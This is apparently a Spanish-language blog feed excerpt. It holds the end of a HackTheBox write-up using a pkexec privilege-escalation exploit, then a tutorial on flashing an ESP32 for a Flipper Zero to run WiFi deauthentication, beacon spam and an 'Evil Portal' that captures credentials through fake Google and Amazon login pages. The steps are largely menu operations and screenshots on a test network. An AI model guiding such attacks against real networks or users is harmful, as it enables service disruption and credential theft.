Descargamos el exploit en nuestra maquina de atacante y lo compilamos con <strong><code class="language-plaintext highlighter-rouge">gcc -o exploit-2 exploit-2.c</code></strong>:      <br />
<img src="https://i.postimg.cc/fWKsM1FL/exploit.png" alt="gcc" /></p>

<p>Ahora montamos un servidor con python para poder descargarlo en el host victima:   <br />
<img src="https://i.postimg.cc/GtSSHPGM/server.png" alt="sv" />
<img src="https://i.postimg.cc/4df8P21L/Exploit-downloaded.png" alt="expdown" />
Ahora le damos permisos de ejecución al binario y lo ejecutamos llamando el SUID <strong><code class="language-plaintext highlighter-rouge">/usr/bin/pkexec</code>:</strong>:   <br />
<img src="https://i.postimg.cc/HWPS028z/exploited.png" alt="exploited" />
Con esto conseguimos ser usuario root y leer la flag: <br />
<img src="https://i.postimg.cc/15GvxZYC/root.png" alt="pwn" /></p>

<p>Pwned! 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="HackTheBox" /><category term="CTF" /><category term="Web" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">WiFi Attacks con ESP32 - Flipper Zero</title><link href="https://t3tsv0.github.io/flipperzero/wifi/gpio/2023/12/20/fz_wifi_esp32.html" rel="alternate" type="text/html" title="WiFi Attacks con ESP32 - Flipper Zero" /><published>2023-12-20T00:00:00+00:00</published><updated>2023-12-20T00:00:00+00:00</updated><id>https://t3tsv0.github.io/flipperzero/wifi/gpio/2023/12/20/fz_wifi_esp32</id><content type="html" xml:base="https://t3tsv0.github.io/flipperzero/wifi/gpio/2023/12/20/fz_wifi_esp32.html"><![CDATA[<p><img src="https://i.postimg.cc/tTMmRJ3X/fp.jpg" alt="dolphin" /></p>

<p>En este artículo, examinaremos el proceso para desarrollar un WiFi Marauder utilizando la placa de desarrollo ESP32. Posteriormente veremos como utilizarla para realizar ataques como Deauth, Beacon Spam y Evil Portal.</p>

<h2 id="requisitos">Requisitos</h2>
<h3 id="hardware">Hardware</h3>
<ul>
  <li><strong>Placa de Desarrollo ESP32:</strong> La pieza central de nuestro proyecto.
<img src="https://i.postimg.cc/fRYPDMqd/Placa-de-desarrollo-de-CPU-de-doble-n-cleo-WIFI-ESP-32-S-ESP-WROOM-32-ESP32-jpg.jpg" alt="ESP32" /></li>
  <li><strong>Cables Dupont Macho-Hembra (x4):</strong> Estos cables serán esenciales para establecer las conexiones necesarias entre la placa ESP32 y el Flipper Zero.
<img src="https://i.postimg.cc/02R336cv/jumper-ledninger-han-til-hun.jpg" alt="DUPONT" /></li>
</ul>

<p>En mi caso compre estas piezas por AliExpress. A continuación proporcionare los enlaces de la tienda en donde adquirí los productos.</p>

<p><strong>Enlaces de Compra:</strong></p>
<ul>
  <li><a href="https://a.aliexpress.com/_m00Kbyo">Placa de Desarrollo ESP32</a></li>
  <li><a href="https://a.aliexpress.com/_msrN4ek">Cables Dupont Macho-Hembra</a></li>
</ul>

<h3 id="otros-requerimientos">Otros requerimientos</h3>
<p>Instalaremos el controlador CP210x <a href="https://www.silabs.com/developers/usb-to-uart-bridge-vcp-drivers?tab=downloads">desde aquí</a> para que el dispositivo sea reconocido. Para este caso utilizaremos el de Windows.
<img src="https://i.imgur.com/DZnK5Nc.png" alt="Drivers" /></p>

<p>Además utilizaremos la aplicación <a href="https://flipperzero.one/update">QFlipper</a> para agregar y modificar ficheros. <br />
<img src="https://flipperzero.one/img/tild3461-3238-4636-a366-623436363035__mainpic_1.png" alt="qflipper" /></p>

<p>También debemos tener python instalado en el sistema. En mi caso lo instalé desde la <a href="https://www.microsoft.com/store/productId/9PJPW5LDXLZ5?ocid=pdpshare">Microsoft Store.</a>
<img src="https://i.imgur.com/TsX3pbk.png" alt="Python" /></p>

<p>Adicionalmente debemos tener instalado Git en el equipo. El cual descargué <a href="https://git-scm.com/download/win">desde aquí.</a> <br />
<img src="https://i.imgur.com/Z14qlib.png" alt="git" /></p>

<p>Finalmente es recomendable utilizar el firmware <strong><a href="https://github.com/DarkFlippers/unleashed-firmware">Unleashed</a></strong> el cual contiene los modulos de ataque con el ESP32 para GPIO pre-instalados.
<img src="https://user-images.githubusercontent.com/10697207/186202043-26947e28-b1cc-459a-8f20-ffcc7fc0c71c.png" alt="unlshd" /></p>

<h2 id="flashing-esp32---marauder">Flashing ESP32 - Marauder</h2>
<p>El primer paso será flashear el ESP32, para esto clonaremos el repositorio <strong><a href="https://github.com/SkeletonMan03/FZEasyMarauderFlash">FZEasyMarauderFlash</a></strong> para poder flashear la placa. Una vez clonado el repositorio debemos instalar las dependencias de este utilizando pip:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pip</span> <span class="n">install</span> <span class="o">-</span><span class="n">r</span> <span class="n">requirements</span><span class="p">.</span><span class="n">txt</span>
</code></pre></div></div>

<p>Ahora conectamos la placa por USB al equipo. Ya conectada debemos configurarla en modo escritura. Para hacer esto debemos mantener presionado los botones de BOOT y RESET:
<img src="https://i.postimg.cc/J4qnKYXC/Untitled.png" alt="esp32Write" /></p>

<p>Soltando el botón de RESET(1) y manteniendo presionado el botón de BOOT(2) ejecutaremos el script EasyInstall.py. En mi caso lo hare desde Visual Studio Code:
<img src="https://i.imgur.com/tVQc3SL.png" alt="Script1" /></p>

<p>Ya ejecutado el script, sin soltar el botón de BOOT(2) seleccionaremos la opción correspondiente para nuestra placa, en este caso será la opción 5:
<img src="https://i.imgur.com/7MA2YQT.png" alt="Script2" /></p>

<p>A lo largo de la ejecución del script no debemos soltar el botón de BOOT(2) o puede que la placa no se flashee bien. F por nuestro dedo
<img src="https://i.imgur.com/4XtKTse.png" alt="firmware" /></p>

<p>Ahora solo debemos esperar a que el script finalice y nos muestre el siguiente mensaje:
<img src="https://i.imgur.com/FXNK6TI.png" alt="Scriptfinish" /></p>

<p>Con esto ya podremos realizar los ataques de Deuth y Beacon Spam. Pero primero debemos conectar la placa al Flipper Zero.</p>

<h2 id="esquema-de-conexión">Esquema de Conexión</h2>
<p>Para poder utilizar la placa en el Flipper Zero debemos seguir el siguiente esquema de conexión en el cual utilizaremos los cables dupont:
<img src="https://i.imgur.com/ZsDno2u.png" alt="schema" /></p>

<p>Una vez conectados al Flipper Zero el led del ESP32 se ilumina lo que significa que se está alimentando correctamente. La conexión se vera de la siguiente forma:
<img src="https://i.imgur.com/ozl5duJ.jpg" alt="conexion" /></p>

<p>Desde este punto ya podemos realizar los primeros ataques.</p>

<h2 id="deauth-attack">Deauth Attack</h2>
<p>Una vez que la placa ESP32 está debidamente configurada con el firmware necesario, podemos avanzar hacia la implementación del ataque de desautenticación. El ataque de desautenticación (Deauth Attack) se utiliza para desconectar dispositivos específicos de una red WiFi, creando una oportunidad para el análisis y monitoreo.</p>

<p>Bien, lo primero para realizar este ataque es tener un objetivo. En mi caso he levantado una red de prueba llamada Frontier. Con esto en mente, en el Flipper Zero nos dirigimos a <strong>Apps &gt; GPIO</strong> y seleccionamos <strong>[ESP32] WiFi Marauder</strong>:
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExeDI5bXY2OWk2dnB0bm1wOWY1eTdpcHdmbWV5em55Y2NuaHl2djZzcyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/EfVu4soRAHRo3j1Riu/giphy.gif" alt="Marauder1" /></p>

<p>Ahora para detectar la Red seleccionamos la opción de <strong>Scan</strong> con la opicón de <strong>ap</strong> para escanear los puntos de acceso:
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExYW13ajlpejB4bmUzdjZxNXd3YW82bjBsaTE5bnRxcTl1OGlwOGU3ZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/qyYk6sNDn2Qx4lFzm4/giphy.gif" alt="scannap" />  <br />
Observamos que se ha escaneado el AP <strong>Frontier</strong> y un total de 3 puntos de acceso.</p>

<p>Ya que tenemos escaneado nuestro objetivo tenemos que seleccionarlo, para ver que posición es la que ocupa podemos ingresar en la opción de <strong>List</strong> con la opción de <strong>ap</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbDAycXpncHl0cmlnaHRobGs2bjJjenpmZ3NuMmpwaHR0Y2F1M3lhdyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/TpgRYsmYnfL9p6OpMw/giphy.gif" alt="listap" /></p>

<p>Como se aprecia nuestro AP objetivo es el número 0. Para seleccionarlo debemos utilizar la opción de <strong>Select</strong> con la opción de <strong>ap</strong> de la siguiente forma:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExNWV5eDI3dnJ0Nno3aW11aXpxbG42eWxmNWZsMWR2dHQxeHJuMmprbyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/v39ILr7oz0y0YqoRPP/giphy.gif" alt="selectap" /></p>

<p>Finalmente para realizar el ataque debemos utilizar la opción de <strong>Attack</strong> con la opción de <strong>deauth</strong> como se muestra a continuación:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExeHA5OTJtb3BqZW52anl6b2lrZGRtZTkzbXAzM2Y2MGlycXQyaTlmbiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/qEG2U0zhKmDUFxUpMC/giphy.gif" alt="deauth" /></p>

<p>Con en esto nuestro Flipper Zero ya estará enviando paquetes para desautenticar a los dispositivos conectados a la red <strong>Frontier</strong>: <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExYzM0bDQ2dHBrd2gwOGVnZnBubmY2djg2eGpudmRldDd5dHpjNjU0dCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/fqRqCvthyTwTrF5RYE/giphy-downsized-large.gif" alt="wtchdeauth" /></p>

<p>Así mismo se nos desautentican otros equipos conectados e impide conectarse a la red:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbWU0OGhkZjluZDlxNzJ1YWc2dzVoejN1aWZud3o2YWJzbXdtdmZteSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/YXCdg3lCICS46vwxkX/giphy.gif" alt="def" /></p>

<h2 id="beacon-spam-attack">Beacon Spam Attack</h2>
<p>Ahora que sabemos como utilizar el Flipper Zero para realizar ataques de deautenticación pasaremos a Beacon Spam. Con este ataque podemos inundar la red con puntos de acceso falsos con el fin de saturarla.</p>

<p>Como hicimos anteriormente, utilizaremos la aplicación de <strong>[ESP32] WiFi Marauder</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExeDI5bXY2OWk2dnB0bm1wOWY1eTdpcHdmbWV5em55Y2NuaHl2djZzcyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/EfVu4soRAHRo3j1Riu/giphy.gif" alt="Marauder1" /></p>

<p><strong>Contamos con 2 tipos de configuraciones:</strong></p>
<ul>
  <li>Añadir una lista de SSID random.</li>
  <li>Añadir un SSID con un nombre especifico.</li>
</ul>

<h3 id="random-ssid">Random SSID</h3>
<p>Para realizar el ataque con una lista de SSID randoms debemos seleccionar la opción de SSID con la configuración de add rand:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExcTQxMGI2ZnU4MnNpcjk1MGV0eWZ0NWttdGZpMzFzeHNnMm9xbGxjNSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/fn4Z7JlXV7IcfY5wDe/giphy.gif" alt="ssid" /></p>

<p>A continuación debemos seleccionar una cantidad para generar, en este caso utilizare 30:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExa2k0eWF0a3p2cHVqNm0ycTloYnR1aG5xaGZmeG41YWVmN2J3emp3cSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/k2jnuchV8NFmT2mZyn/giphy.gif" alt="30ssid" /></p>

<p>Con estos 30 SSID ya generados podemos realizar el ataque de spam. Para esto seleccionamos la opción de <strong>Beacon Spam</strong> con la configuración de <strong>ssid list</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExdnc2MG1lejBld2FsZmdldmVxemw5NmJ4anI3dGMwY3I2b3N1bGMxNiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/U2jBuavoU8gJLIiq2f/giphy.gif" alt="bs" /></p>

<p>Con en esto nuestro Flipper Zero ya estará realizando el spam de SSID para inundar la red:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExNDg2NnEzcjhzM3dpOHY1aW45YjM5aGh1MHhpaWQwa3d5cmxpaWVybyZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/H50q508nrZUkWjGTha/giphy.gif" alt="spamdone" /></p>

<p>Lo mismo sucederá en otros dispositivos:  <br />
<img src="https://i.postimg.cc/zBprk29p/spam.jpg" alt="spamph" /></p>

<h3 id="single-ssid">Single SSID</h3>
<p>Para este caso debemos seleccionar la opción de <strong>SSID</strong> con la configuración de <strong>add name</strong>. En este caso el nombre que agregare es google:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExZDhrOXp2dWkwcWh0NDBwdWRsMDBrM3BwaWc2NnZlb3d6aXJ6ZTExZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/wKKALnN9FBJcPXbcsx/giphy.gif" alt="glg" /></p>

<p>Con este SSID ya configurado realizaremos el ataque de spam. Para esto seleccionamos la opción de <strong>Beacon Spam</strong> con la configuración de <strong>ssid list</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExdnc2MG1lejBld2FsZmdldmVxemw5NmJ4anI3dGMwY3I2b3N1bGMxNiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/U2jBuavoU8gJLIiq2f/giphy.gif" alt="bs" /></p>

<p>Con en esto nuestro Flipper Zero ya estará realizando el spam del SSID configurado:  <br />
<img src="https://i.imgur.com/8ue6a2P.png" alt="gglg" /></p>

<h2 id="evil-portal">Evil Portal</h2>
<p>Ya hemos aprendido como desautenticar equipos de la red y como crear puntos de acceso falsos utilizando el ESP32. A continuación y para finalizar aprenderemos como desplegar un portal malicioso. Cuando los usuarios intenten conectarse a este punto de acceso, se les mostrará una pantalla de inicio de sesión falsa. Las credenciales de usuario se envían al Flipper y se registran en la tarjeta SD.</p>

<p>Cabe destacar que para poder hacer uso del <strong>Evil Portal</strong> debemos flashear nuevamente la placa. Para esto haremos uso del script utilizado anteriormente.</p>

<h3 id="flashing-esp32---evil-portal">Flashing ESP32 - Evil Portal</h3>
<p>Utilizaremos el repositorio <strong>FZEasyMarauderFlash</strong> ya clonado para poder flashear la placa. Tengamos en cuenta que debemos conectar la placa al equipo y configurarla en modo escritura como hicimos anteriormente.</p>

<p>Ya ejecutado el script, sin soltar el botón de BOOT(2) seleccionaremos la opción correspondiente para nuestra placa, en este caso será la opción 14 para Evil Portal:  <br />
<img src="https://i.imgur.com/8ZEfozj.png" alt="evp" /></p>

<p>Recordemos que a lo largo de la ejecución del script no debemos soltar el botón de BOOT(2) o puede que la placa no se flashee bien. F por nuestro dedo nuevamente.</p>

<p>Ahora solo debemos esperar a que el script finalice y nos muestre el siguiente mensaje:  <br />
<img src="https://i.imgur.com/uUqZwyl.png" alt="Scriptfinish" /></p>

<p>Con esto ya podremos realizar el ataque de Evil Portal. Pero primero debemos instalar la aplicación en nuestro Flipper Zero.</p>

<h3 id="instalando-evil-portal---facil--manual">Instalando Evil Portal - Facil + Manual</h3>
<h3 id="-primeros-pasos">→ Primeros pasos</h3>
<p>Para instalar la aplicación de Evil Portal utilizaremos el repositorio <a href="https://github.com/bigbrodude6119/flipper-zero-evil-portal">flipper-zero-evil-portal</a>. Esta vez lo descargamos como zip.</p>

<p>Para esto ingresamos al repositorio, presionamos en <strong>Code</strong> y finalmente <strong>Download ZIP:</strong></p>

<p><img src="https://i.imgur.com/WBz2Pv6.png" alt="repo" /></p>

<p>Lo primero que haremos es transferir los ficheros que se encuentran en la carpeta evil_portal del repositorio descargado. <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbXR3NTd0dGswaDJwcXJwdnd6Y2xwc2Zra2xxZHdzdG0xZTh1dXd0NSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/gu717o9SCIj5w6RDuG/giphy.gif" alt="files" /></p>

<p>Antes de transferirlos explicare brevemente la estructura de estos ficheros.</p>
<ul>
  <li>
    <p>ap.config:
Este fichero se encarga de mostrar el nombre del punto de acceso, podemos decir que aquí se configurará el SSID. <br />
<img src="https://i.imgur.com/jR8hkD9.png" alt="apconf" /></p>
  </li>
  <li>
    <p>index:
el fichero <strong>index</strong> básicamente es el html que se cargara al momento de que el usuario se conecte a la red, para este primer ejemplo se desplegara un login correspondiente a Google. Más adelante explicare como cambiarlo.</p>
  </li>
</ul>

<p>Además crearemos una carpeta nueva llamada <strong>logs</strong> la cual estará vacía: <br />
<img src="https://i.imgur.com/0TycACT.png" alt="logs" /></p>

<p>Teniendo esto en cuenta movemos la carpeta <strong>evil_portal</strong> en la carpeta <strong>apps_data</strong> ubicada en la SD Card.
<img src="https://i.imgur.com/mDB6BRS.png" alt="folder moved" /></p>

<p>Ahora podemos continuar e instalar la aplicación.</p>

<h3 id="-easy-way">→ Easy Way</h3>
<p>La forma fácil de instalar la aplicación es conectando nuestro Flipper Zero al equipo. Una vez realizada la conexión ingresamos al repositorio y presionamos el <a href="https://flipc.org/bigbrodude6119/flipper-zero-evil-portal?branch=main&amp;root=flipper/flipper-evil-portal&amp;firmware=unleashed">siguiente enlace</a>: <br />
<img src="https://i.imgur.com/yEeIlIO.png" alt="easyinstall" /></p>

<p>Al presionar el enlace podremos ver la siguiente web:  <br />
<img src="https://i.imgur.com/VcgrMWM.png" alt="web1" /></p>

<p>Al presionar en <strong>Install</strong> se desplegara un una ventana para seleccionar nuestro puerto en uso por el Flipper Zero y la aplicación procederá a instalarse:</p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExczFwZjF2ZGs2Zml3M3JobGRzYXY0NW8yaGphcGR3ZXVxeTlxeW5zdiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/mwRWY4mtNjFU4VgCye/giphy.gif" width="700" height="400" /></p>

<p>Con esto la aplicación ya estará instalada en nuestro Flipper Zero:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExcTdjbTUxaDc5NmFvYWo2cTEwMDd3MHpqMXRhdXJxb2p3YmVwNWI1ZiZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/C27261RCBhgUq40nZx/giphy.gif" alt="installed" /></p>

<h3 id="-manual">→ Manual</h3>
<p>Para instalar la aplicación de Evil Portal de manera manual vamos a la sección de <strong>releases</strong> del repositorio <a href="https://github.com/bigbrodude6119/flipper-zero-evil-portal">flipper-zero-evil-portal</a>. <br />
<img src="https://i.imgur.com/vBpMJwS.png" alt="releases" /></p>

<p>Descargaremos el archivo <strong>unleashed-evil_portal.fap.zip</strong> de la última versión. Este archivo contendrá el archivo <strong>evil_portal.fap</strong> para el firmware Unleashed: <br />
<img src="https://i.imgur.com/IUbhmqx.png" alt="file" /></p>

<p>Ya que descargamos lo necesario lo extraemos en una carpeta, ya que vamos a transferir ficheros al Flipper Zero.  <br />
<img src="https://i.imgur.com/o7rqnFF.png" alt="files" /></p>

<p>El primer fichero que vamos a transferir es el fichero <strong>evil_portal.fap</strong> el cual corresponde a la aplicación. La ruta de destino de este fichero debe ser <strong>apps/GPIO/</strong> en la SD Card. <br />
<img src="https://i.imgur.com/iKyBjq1.png" alt="evilportal" /></p>

<p>Asi se deberia ver la aplicación:
<img src="https://i.imgur.com/lSW4uBv.png" alt="file" /></p>

<p>La estructura deberia ser la siguiente:</p>
<pre><code class="language-apps/">  GPIO/
    evil_portal.fap
apps_data/
  evil_portal/
    ap.config.txt
    index.html
    logs/
      &lt;empty&gt;
</code></pre>

<p>Con esto ya habremos instalado la aplicación de Evil Portal en el Flipper Zero de manera manual. De esta forma no tendremos icono pero funcionara de todos modos. Podemos encontrar la aplicación en <strong>Apps &gt; GPIO</strong> y seleccionamos <strong>evil_portal</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExa2NvemlkbGN1Ym5zbmJrNm9udDZuamtuaW01eHZrOWZ0NGE1b2R3aSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/uLTXyFFVZnV0Anefn0/giphy.gif" alt="evilportaldone" /></p>

<h3 id="-evil-portal-attack">→ Evil Portal Attack</h3>
<p>Ya hemos aprendido la configuración e instalación básica del Evil Portal. Pero ahora toca la mejor parte, como utilizarlo. Lo primero que debemos hacer es conectar nuestra placa al Flipper Zero como se explico anteriormente. A continuación Iniciamos la aplicación <strong>[ESP32] Evil Portal</strong> ubicada en <strong>apps &gt; GPIO</strong>: <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExcml1YnlpeXJwOGJzOWx6dXVoazByd3MwYzZtNjA1bWc3bGRlOWg3aCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/u8dw4aNNQqxPJkuulw/giphy.gif" alt="evilup" /></p>

<p>Al observar en nuestras redes observamos el SSID <strong>Google Free WiFi</strong>. Si ingresamos podremos notar como se despliega una web con un login similar al de Google:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExa3dhbnowamVlaGhqbWh2aWN6ODg4ZjR3dmZlY2RlZDAxMmtwZWZneSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/hkM2PkoE4E1onMG6ME/giphy.gif" width="700" height="400" /></p>

<p>Al ingresar credenciales estas serán capturadas con el Flipper Zero y podremos visualizarlas al momento: <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExMTB4Y3V2aWptdnR1NTZoYzU4NW00bGFteG9rd3hhcHJlOWEzaGl0MSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/1Fjx6icwSR88UYUsdF/giphy.gif" width="700" height="400" /></p>

<p><img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExb2ZyMnl5aXdka3R2bnliZHA3ajEzYTRrbnlwcWVtZTI1bHN0aGltMCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/yWwZUglonpVnxwmM4N/giphy.gif" alt="pwned" /></p>

<h3 id="-cambiar-portal">→ Cambiar Portal</h3>
<p>Ya hemos visto el potencial de un portal cautivo. Ahora aprenderemos a cambiarlo y adecuarlo para cada contexto. El repositorio descargado contiene una basta lista de portales cautivos que podemos utilizar. <br />
<img src="https://i.imgur.com/JQZLqbK.png" alt="flder" /></p>

<p>Para este caso de ejemplo utilizare el portal cautivo de Amazon ubicado en la carpeta <strong>portals</strong>:  <br />
<img src="https://i.imgur.com/uAbAiDH.png" alt="portals" /></p>

<p>Para utilizar este portal debemos reemplazarlo por el que se encuentra ubicado en <strong>apps_data/evil_portal</strong> en la SD Card. Así que eliminamos los ficheros <strong>index.html</strong> y <strong>ap.config.txt</strong>: <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExb2NyaW52dHkwcHo2emQ1NmI2em8wNWlxMThhODJtM3UxdDRtM2Y3dSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/EwHmVkrxAVIfWTrSHZ/giphy.gif" alt="deleteindex" /></p>

<p>A continuación depositaremos el fichero Amazon en <strong>apps_data/evil_portal</strong> y lo renombraremos a <strong>index.html</strong>:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbzM5ZnoxcXgzdjZwNmx3YzNnd3NicmdmbTYxeXZqdGswdDk0MmU5eSZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/aU9vYCbKLFdF9XARds/giphy.gif" alt="amazon" /></p>

<p>Como se menciono anteriormente el fichero ap.config corresponde al SSID del punto de acceso. Así que el nombre que asignare será “<strong>Amazon WiFi</strong>” y lo depositare en <strong>apps_data/evil_portal</strong>:  <br />
<img src="https://i.imgur.com/P5RSm0R.png" alt="amzwifi" /></p>

<p>Lo guardamos y depositamos en la ruta señalada:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbjZiNWg1NDdjbHA3YWRvYmczdDl0emh2dGlmbGN5ZTNkbHhwcHdmOCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/81hr2oxAcVQl5uXVfU/giphy.gif" alt="ap.config" /></p>

<p>Con esto ya hemos cambiado el portal cautivo. Para comprobarlo iniciaremos la aplicación de Evil Portal:  <br />
<img src="https://media.giphy.com/media/v1.Y2lkPTc5MGI3NjExbHMwdmYzdXM2dXF3YzFhczNmaWU5Z3pmamlnMDAyNWJqMHhreWd0cCZlcD12MV9pbnRlcm5hbF9naWZfYnlfaWQmY3Q9Zw/FG3A2qIHoH1rqbe7OT/giphy.gif" alt="portalamz" /></p>

<p>Comprobamos que nuestro punto de acceso funciona:  <br />
<img src="https://i.imgur.com/KuzUcxn.png" alt="AP" /></p>

<p>Y al conectarnos llegamos al portal cautivo de Amazon:
<img src="https://i.imgur.com/Oku9ZRA.png" alt="amzwev" /></p>

<p>Algo importante a señalar es que puede que momento de presionar en <strong>Start Portal</strong> el portal no se levante. Esto me ha pasado un par de veces, pero solo es cosa de probar nuevamente un par de veces o desconectar la placa.</p>

<h2 id="conclusión">Conclusión</h2>
<p>En este artículo, hemos explorado de manera práctica la configuración de una placa ESP32 para llevar a cabo ataques como Deauth, Beacon Spam y Evil Portal. Estos métodos, aunque poderosos, subrayan la importancia de fortalecer la seguridad en redes WiFi. Recordemos que este conocimiento debe emplearse con responsabilidad y únicamente con fines educativos y éticos.</p>

<p>Happy Hacking 🏴‍☠️</p>]]></content><author><name>[&quot;H4RRIZN&quot;]</name></author><category term="FlipperZero" /><category term="WiFi" /><category term="GPIO" /><category term="Flipper Zero" /><category term="Wifi Attacks" /><summary type="html"><![CDATA[]]></summary></entry></feed>